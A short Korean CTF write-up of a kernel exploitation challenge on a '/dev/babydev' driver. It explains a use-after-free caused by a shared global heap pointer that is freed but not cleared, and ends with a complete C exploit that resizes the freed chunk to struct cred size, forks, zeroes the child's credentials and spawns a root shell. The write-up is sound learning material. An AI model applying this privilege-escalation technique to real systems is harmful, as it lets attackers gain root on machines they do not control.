요즘 커널에 푹 빠져있는데 재밌게 푼 문제이다.
일단 실행방법이랑 이런거 다 알고 있는 상태에서 해 보도록 하겠다.
이렇게 함수들이 존재하는데 분석을 해보면 쉽게 알 수 있듯이 babywrite 와 babyread 는 일반 Read와 큰 차이가 없다.
여기서 보면 전역변수 하나로 heap 을 관리해주고 있는데 여기서 취약점이 발생한다.
heap 2개를 생성하면 결국 전역변수는 마지막에 생성한 걸 가르키고 있다.
그리고 close 를 보게되면 free를 해주지만 전역변수를 초기화를 해 주지 않는다.
또한 ioctl 함수로 원하는 사이즈 만큼 heap 할당이 가능하다.
대충 익스 시나리오를 짜보면
2개 힙을 할당 해 준 후 둘다 똑같은 포인터를 가르키고 있으니까 UAF가 가능하다.
이걸 이용하여 원하는 사이즈로 할당이 가능하니까. struct cred 힙 할당된 부분을 덮어주면 되겠다.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
int ptr1 = open("/dev/babydev", O_RDWR);
int ptr2 = open("/dev/babydev", O_RDWR);
ioctl(ptr1, 0x10001, 168);
close(ptr1);
int pid = fork();
char cred[30] = {0};
write(ptr2, cred, 28);
system("/bin/sh");
close(ptr2);
return 0;
}